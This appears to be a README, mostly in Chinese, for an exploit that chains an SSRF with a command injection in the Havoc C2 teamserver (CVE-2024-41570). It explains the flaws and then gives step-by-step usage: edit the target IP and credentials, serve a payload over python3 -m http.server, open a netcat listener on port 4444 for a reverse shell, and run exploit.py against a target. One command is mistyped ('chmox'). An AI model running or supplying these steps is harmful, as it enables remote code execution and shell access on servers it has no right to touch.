这是Havoc C2框架中的一个链式RCE漏洞(CVE-2024-41570)。
命令注入:Havoc存在命令注入漏洞,允许经身份验证的用户在Teamserver上执行命令。影响版本从0.3到最新版本0.6。Havoc的默认配置文件包含硬编码密码,因此粗心的C2操作员如果在公共网络上使用默认配置,可立即被利用。
SSRF:此漏洞通过伪造demon agent注册和回连,在teamserver上打开一个TCP套接字并从中读写数据来利用。这允许攻击者泄露teamserver的源IP等更多信息。
利用链:滥用SSRF来传递一个经过身份验证的命令注入载荷。

1. Modify the IP, USER and PASSWORD in the exploit.py file.
2. Modify IP in payload.sh
-> python3 -m venv myenv && source myenv/bin/activate
-> pip3 install -r requirements.txt
-> chmox +x payload.sh
-> python3 -m http.server (On another terminal)
-> nc -lvnp 4444 (On another terminal)
# Run the exploit
(myenv) -> python3 exploit.py -t https://site.com -i 0.0.0.0 -p 12345
感谢 @chebuya 和 @Hyperreality